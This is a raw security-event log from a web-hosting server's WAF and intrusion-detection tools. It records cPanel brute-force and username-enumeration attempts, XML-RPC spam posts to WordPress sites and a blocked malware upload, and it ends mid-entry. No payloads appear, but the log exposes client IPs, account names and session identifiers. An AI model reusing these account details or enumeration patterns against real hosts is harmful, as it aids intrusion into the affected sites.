IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/847269 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.99.247
country_id: 2017370
description:
[2026-06-22 05:21:42 +0000] info [whostmgrd] 95.24.99.247 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.162.186
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/1655507918 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:05:24:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105182&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782105841 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:24:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10449049&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782105842 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.110.51
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/aeac9f HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 203.147.139.82
country_id: 1831722
description:
[2026-06-22 05:26:46 +0000] info [whostmgrd] 203.147.139.82 NEW bighostingsnbd:ebAu4jPbSNxMj3vD address=203.147.139.82,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 203.147.139.82
country_id: 1831722
description:
[2026-06-22 05:26:48 +0000] info [cpaneld] 203.147.139.82 NEW bighostingsnbd:DHYaPQeYHdi_mp4E address=203.147.139.82,app=cpaneld,creator=bighostingsnbd,method=handle_form_login,path=loadsession:bighostingsnbd:ebAu4jPbSNxMj3vD,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.202.171.130
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-27.198.202.171.130||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.0.9.233
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-27.161.0.9.233||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4d2ffc8e5c1766f7618f10d0f35b8aed9affbd0e||Title:c3q4mtx42mxyuush1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 157.230.195.44
country_id: 1880251
description:
157.230.195.44 - - [22/Jun/2026:05:28:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988715&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782106095 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; arm_64; Android 15; 2311DRK48G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:157.230.195.44


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.82.96.179
country_id: 6252001
description:
23.82.96.179 - - [22/Jun/2026:05:28:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6867358&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782106101 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.82.96.179


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:68ac798202774a8cfebb6046c2597e7367a910f0||Title:91r4zeiwoik28s6||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3bafb5390e1ee63562d9ae7b5dae7a22de118a82||Title:84bprxbmbmskle||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.119.198
country_id: 798544
domain: autodiscover.moodle.free.netmaster.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:92.113.119.198||TA:92.113.119.198||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bea5dd51b0dfb842016e4ac5d23cae92a0bdd00d||Title:u8lbqynqpxnpw0||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.136.128
country_id: 2635167
domain: mail.moodle.free.netmaster.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.252.136.128||TA:104.252.136.128||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:31:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804137&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782106268 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5e8fc480ec6df7d35a7e32b27a29610ac26f5f84||Title:eg6b7dydy5llacw||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6bcc4d3e539d65ce3254c0003de638e2997d093e||Title:z766xmv8rf0yvx1g||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.5.203
country_id: 2363686
description:
[2026-06-22 05:32:46 +0000] info [cpaneld] 196.171.5.203 - pnls "GET /cpsess0507368752/frontend/jupiter/index.html?=undefined&login=1&post_login=9400078006463 HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.155.151
country_id: 294640
description:
[2026-06-22 05:33:03 +0000] info [whostmgrd] 79.177.155.151 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f8ee321849346c9f520e57e140dea9ed175923de||Title:omiil7gc4emab7ew||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [22/Jun/2026:05:34:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.18
country_id: 6252001
description:
205.169.39.18 - - [22/Jun/2026:05:35:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "https://bing.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.18


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78e5b55db3e55e0d45ddfcc5256710fc701c45be||Title:u3oxo4pmmnk2bch||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9285bbb4168b9506d35e4922705f9993f5d69cff||Title:9gcm4041lt09g6vov||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ce7b3b950a2ce9ea30e042856e7f5196f1cd66c4||Title:jcm4eegas625hzf8||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:53780aa589c76ffa95ce390af3922931ba7515fa||Title:wvrgjyfl6s0j8fiwc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:86af00732ec63af8fbcb39b695f873ab02ce12f6||Title:ywqkbxlob9a6ydigk||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:92c9c8e96decf4afade912d57c484d8beda35291||Title:eubywb9n03bk7r67||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:40:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132072&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782106801 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:05:39:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803625&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782106790 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.49
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:96a3d98f50a94500f2414192597ea60d521b4e2c||Title:3lku2ica8i8gxiv||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 101.53.251.88
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/10/c9b3cffcfb0dd8b9c7c6e0d58c9c2f6c_L.png 600w, http:/togodailynews.tg/wp-content/uploads/2024/10/c9b3cffcfb0dd8b9c7c6e0d58c9c2f6c_L-300x183.png 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [22/Jun/2026:05:44:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739366&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782107061 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 89.221.206.107
country_id: 2017370
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:89.221.206.107||TA:89.221.206.107||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.201
country_id: 690791
description:
Jun 22 05:49:00 ns5 auth[1995979]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.201 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.191.143.186
country_id: 1562822
description:
[2026-06-22 05:51:03 +0000] info [cpaneld] 14.191.143.186 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.66.126.76
country_id: 3469034
description:
[2026-06-22 05:51:06 +0000] info [cpaneld] 200.66.126.76 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.230.95.233
country_id: 1562822
description:
[2026-06-22 05:51:16 +0000] info [cpaneld] 14.230.95.233 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.154.137.2
country_id: 2921044
description:
[2026-06-22 05:51:23 +0000] info [cpaneld] 94.154.137.2 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.38.56.206
country_id: 290557
description:
[2026-06-22 05:50:59 +0000] info [cpaneld] 5.38.56.206 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.137.178.89
country_id: 2017370
description:
[2026-06-22 05:51:08 +0000] info [cpaneld] 185.137.178.89 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.147.15.176
country_id: 1694008
description:
[2026-06-22 05:51:13 +0000] info [cpaneld] 115.147.15.176 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.236.56.207
country_id: 1562822
description:
[2026-06-22 05:51:21 +0000] info [cpaneld] 171.236.56.207 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.29.148.46
country_id: 3686110
description:
[2026-06-22 05:51:25 +0000] info [cpaneld] 186.29.148.46 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.80.54
country_id: 1269750
description:
Jun 22 05:52:59 ns5 auth[1995979]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.80.54 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:55:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6579357&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782107712 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:59:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723732&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782107940 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 154.30.68.6
country_id: 2635167
description:
154.30.68.6 - - [22/Jun/2026:06:00:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053525&pdata=https%253A%252F%252Ftogomedia24.tg%252F2022%252F02%252F03%252Fun-jeune-togolais-signe-au-feyenoord-rotterdam%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782108027 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2022/02/03/un-jeune-togolais-signe-au-feyenoord-rotterdam/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.7834.1001 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:154.30.68.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.221.255.65
country_id: 783754
description:
[2026-06-22 06:02:14 +0000] info [cpaneld] 185.221.255.65 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.26.187.64
country_id: 3865483
description:
[2026-06-22 06:02:20 +0000] info [cpaneld] 181.26.187.64 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.46.128.233
country_id: 3895114
description:
[2026-06-22 06:01:45 +0000] info [cpaneld] 190.46.128.233 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.152.32.199
country_id: 3996063
description:
[2026-06-22 06:01:52 +0000] info [cpaneld] 187.152.32.199 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.187.230.77
country_id: 3469034
description:
[2026-06-22 06:02:11 +0000] info [cpaneld] 45.187.230.77 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 22 06:06:59 ns5.netmaster.tg cpanel_fileman_hook[2208595]: 0 BAILOUT malware detected when save 'a1.html' in /home/bighostingsnbd/public_html/siteweb/assets/styles for user bighostingsnbd


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:06:08:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118506&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782108510 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:06:08:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248229&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782108517 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:69e6a2b93d0ba88c70bc229cdb597702f4e12cd5||Title:68ont5zfpmyeyc8h||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (103.5.112.70) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1654be2e6620b500eb7e054347e066cfda7c1053||Title:i1u1weuu3iai0wpy39||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fb72dff775f477a1a5bbd091eff8716a0f9a96d4||Title:ja54pzw56lc1v6j9q||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
